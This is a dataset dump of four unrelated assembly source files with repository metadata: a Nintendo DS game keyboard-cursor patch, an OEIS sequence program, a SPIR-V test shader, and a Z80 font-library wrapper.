6d5de7c3df83f4ff9b7275d997fdaf289fd6d60e | 3,009 | asm | Assembly | Assembly/keyboard/cursor.asm | WildGenie/Ninokuni | 019b4b7f069b311d0146d634f0af4c3096be7dd9 | [
"Apache-2.0"
] | 14 | 2015-01-15T19:08:06.000Z | 2021-09-27T17:27:22.000Z | Assembly/keyboard/cursor.asm | WildGenie/Ninokuni | 019b4b7f069b311d0146d634f0af4c3096be7dd9 | [
"Apache-2.0"
] | 5 | 2015-01-13T21:19:45.000Z | 2015-04-12T15:51:18.000Z | Assembly/keyboard/cursor.asm | WildGenie/Ninokuni | 019b4b7f069b311d0146d634f0af4c3096be7dd9 | [
"Apache-2.0"
] | 7 | 2015-02-02T20:14:00.000Z | 2017-05-14T07:58:12.000Z | ;;----------------------------------------------------------------------------;;
;; Update the cursor coordinates
;; Copyright 2015 Benito Palacios (aka pleonex)
;;
;; Licensed under the Apache License, Version 2.0 (the "License");
;; you may not use this file except in compliance with the License.
;; You may obtain a copy of the License at
;;
;; http://www.apache.org/licenses/LICENSE-2.0
;;
;; Unless required by applicable law or agreed to in writing, software
;; distributed under the License is distributed on an "AS IS" BASIS,
;; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
;; See the License for the specific language governing permissions and
;; limitations under the License.
;;----------------------------------------------------------------------------;;
;;----------------------------------------------------------------------------;;
;; New code located at unused keyboard keys
;;----------------------------------------------------------------------------;;
.org 0x020CBE14
.area 0x64
@getStringWidth:
; Get the width in pixel of a string.
; ARGUMENTS:
; R0: Skipped chars
; R1: String length
; R2: Width to add
; R4: Keyboard struct
; RETURNS:
@font_getGlyphIdx equ 0x0202FE00
@font_getGlyphSize equ 0x0202FE48
STMFD SP!, {R5,R6,R7,LR}
MOV R7, R1 ; String length
MOV R5, R2 ; Length
LDR R6, [R4, 0x3D0] ; Name pointer
ADD R6, R0 ; Skip some chars
B @checkIfNextIsNull
@addWidthChar:
; Substract size
SUB R7, R7, #1
; Get the index of the char
LDR R0, [R4,#0xC+0x20] ; Font object
BL @font_getGlyphIdx
; Get the CWDH section for the char
MOV R1, R0 ; Char index
LDR R0, [R4,#0xC+0x20] ; Font object
BL @font_getGlyphSize
; Read the "Advance" field and add it
LDRB R0, [R0,#2] ; Advance
ADD R5, R0 ; Add to current length
@checkIfNextIsNull:
LDRB R1, [R6], #1 ; Read next char
CMP R1, #0 ; Check if it's not null
CMPNE R7, #0 ; Check there are chars to read
BNE @addWidthChar
MOV R1, R5
LDMFD SP!, {R5,R6,R7,PC}
.endarea
;;----------------------------------------------------------------------------;;
;; Patch for kb_updateCursor function
;;----------------------------------------------------------------------------;;
; # Mode: Variable separation
.org 020C66D4h
.area 0x24
STR R1, [R4,#0x3D8] ; Set cursor position
LDR R2, [R4,#0x3E8] ; Load Box X Position
ADD R2, R2, #0x4
MOV R0, #0
BL @getStringWidth
LDR R2, [R4,#0x3EC] ; Load Box Y Position
ADD R2, R2, #0x11
LDR R0, [R4,#0x180] ; Load Pointer OAM Cursor
.endarea
; # Mode: Constante separation between chars
;.org 020C66E0h
;.area 4h
; MOV R0, #0xE
;.endarea
| 30.704082 | 81 | 0.501163 |
9f197e601de498341d5c19dfaeda5c02c460ba96 | 476 | asm | Assembly | oeis/113/A113266.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/113/A113266.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/113/A113266.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A113266: Partial sums of Catalan numbers A000108 multiplied by powers of -7.
; Submitted by Christian Krause
; 1,-6,92,-1623,31991,-673903,14855765,-338444182,7905221248,-188294015986,4556160266218,-111682969647780,2767470863606632,-69211374967753668,1744655539982525892,-44282217426880817943,1130756774785983371727
lpb $0
mov $2,$0
sub $0,1
seq $2,108 ; Catalan numbers: C(n) = binomial(2n,n)/(n+1) = (2n)!/(n!(n+1)!).
add $1,$2
mul $1,-7
lpe
add $1,1
mov $0,$1
| 34 | 206 | 0.726891 |
ae474e957378d0a2b4abb7144040f7b738b016d3 | 3,580 | asm | Assembly | coverage/IN_CTS/0588-COVERAGE-instruction-simplify-1224/work/variant/1_spirv_asm/shader.frag.asm | asuonpaa/ShaderTests | 6a3672040dcfa0d164d313224446496d1775a15e | [
"Apache-2.0"
] | null | null | null | coverage/IN_CTS/0588-COVERAGE-instruction-simplify-1224/work/variant/1_spirv_asm/shader.frag.asm | asuonpaa/ShaderTests | 6a3672040dcfa0d164d313224446496d1775a15e | [
"Apache-2.0"
] | 47 | 2021-03-11T07:42:51.000Z | 2022-03-14T06:30:14.000Z | coverage/IN_CTS/0588-COVERAGE-instruction-simplify-1224/work/variant/1_spirv_asm/shader.frag.asm | asuonpaa/ShaderTests | 6a3672040dcfa0d164d313224446496d1775a15e | [
"Apache-2.0"
] | 4 | 2021-03-09T13:37:19.000Z | 2022-02-25T07:32:11.000Z | ; SPIR-V
; Version: 1.0
; Generator: Khronos Glslang Reference Front End; 10
; Bound: 64
; Schema: 0
OpCapability Shader
%1 = OpExtInstImport "GLSL.std.450"
OpMemoryModel Logical GLSL450
OpEntryPoint Fragment %4 "main" %45
OpExecutionMode %4 OriginUpperLeft
OpSource ESSL 320
OpName %4 "main"
OpName %8 "func("
OpName %12 "buf1"
OpMemberName %12 0 "injectionSwitch"
OpName %14 ""
OpName %27 "buf0"
OpMemberName %27 0 "_GLF_uniform_int_values"
OpName %29 ""
OpName %45 "_GLF_color"
OpMemberDecorate %12 0 Offset 0
OpDecorate %12 Block
OpDecorate %14 DescriptorSet 0
OpDecorate %14 Binding 1
OpDecorate %26 ArrayStride 16
OpMemberDecorate %27 0 Offset 0
OpDecorate %27 Block
OpDecorate %29 DescriptorSet 0
OpDecorate %29 Binding 0
OpDecorate %45 Location 0
%2 = OpTypeVoid
%3 = OpTypeFunction %2
%6 = OpTypeInt 32 1
%7 = OpTypeFunction %6
%10 = OpTypeFloat 32
%11 = OpTypeVector %10 2
%12 = OpTypeStruct %11
%13 = OpTypePointer Uniform %12
%14 = OpVariable %13 Uniform
%15 = OpConstant %6 0
%16 = OpTypePointer Uniform %11
%19 = OpTypeVector %6 2
%21 = OpConstant %6 90955
%24 = OpTypeInt 32 0
%25 = OpConstant %24 2
%26 = OpTypeArray %6 %25
%27 = OpTypeStruct %26
%28 = OpTypePointer Uniform %27
%29 = OpVariable %28 Uniform
%30 = OpConstant %6 1
%31 = OpTypePointer Uniform %6
%39 = OpTypeBool
%43 = OpTypeVector %10 4
%44 = OpTypePointer Output %43
%45 = OpVariable %44 Output
%4 = OpFunction %2 None %3
%5 = OpLabel
%36 = OpFunctionCall %6 %8
%37 = OpAccessChain %31 %29 %15 %30
%38 = OpLoad %6 %37
%40 = OpIEqual %39 %36 %38
OpSelectionMerge %42 None
OpBranchConditional %40 %41 %59
%41 = OpLabel
%46 = OpAccessChain %31 %29 %15 %30
%47 = OpLoad %6 %46
%48 = OpConvertSToF %10 %47
%49 = OpAccessChain %31 %29 %15 %15
%50 = OpLoad %6 %49
%51 = OpConvertSToF %10 %50
%52 = OpAccessChain %31 %29 %15 %15
%53 = OpLoad %6 %52
%54 = OpConvertSToF %10 %53
%55 = OpAccessChain %31 %29 %15 %30
%56 = OpLoad %6 %55
%57 = OpConvertSToF %10 %56
%58 = OpCompositeConstruct %43 %48 %51 %54 %57
OpStore %45 %58
OpBranch %42
%59 = OpLabel
%60 = OpAccessChain %31 %29 %15 %15
%61 = OpLoad %6 %60
%62 = OpConvertSToF %10 %61
%63 = OpCompositeConstruct %43 %62 %62 %62 %62
OpStore %45 %63
OpBranch %42
%42 = OpLabel
OpReturn
OpFunctionEnd
%8 = OpFunction %6 None %7
%9 = OpLabel
%17 = OpAccessChain %16 %14 %15
%18 = OpLoad %11 %17
%20 = OpConvertFToS %19 %18
%22 = OpCompositeConstruct %19 %21 %21
%23 = OpShiftRightArithmetic %19 %20 %22
%32 = OpAccessChain %31 %29 %15 %30
%33 = OpLoad %6 %32
OpReturnValue %33
OpFunctionEnd
| 35.445545 | 59 | 0.496648 |
34ae4b267afd8798a0aa34fddc413fed4ab615be | 299 | asm | Assembly | libsrc/_DEVELOPMENT/font/fzx/c/sccz80/fzx_state_init.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/font/fzx/c/sccz80/fzx_state_init.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/font/fzx/c/sccz80/fzx_state_init.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null |
; void fzx_state_init(struct fzx_state *fs, struct fzx_font *ff, struct r_Rect16 *window)
SECTION code_font_fzx
PUBLIC fzx_state_init
EXTERN asm_fzx_state_init
fzx_state_init:
pop af
pop de
pop bc
pop hl
push hl
push bc
push de
push af
jp asm_fzx_state_init
| 13 | 89 | 0.712375 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.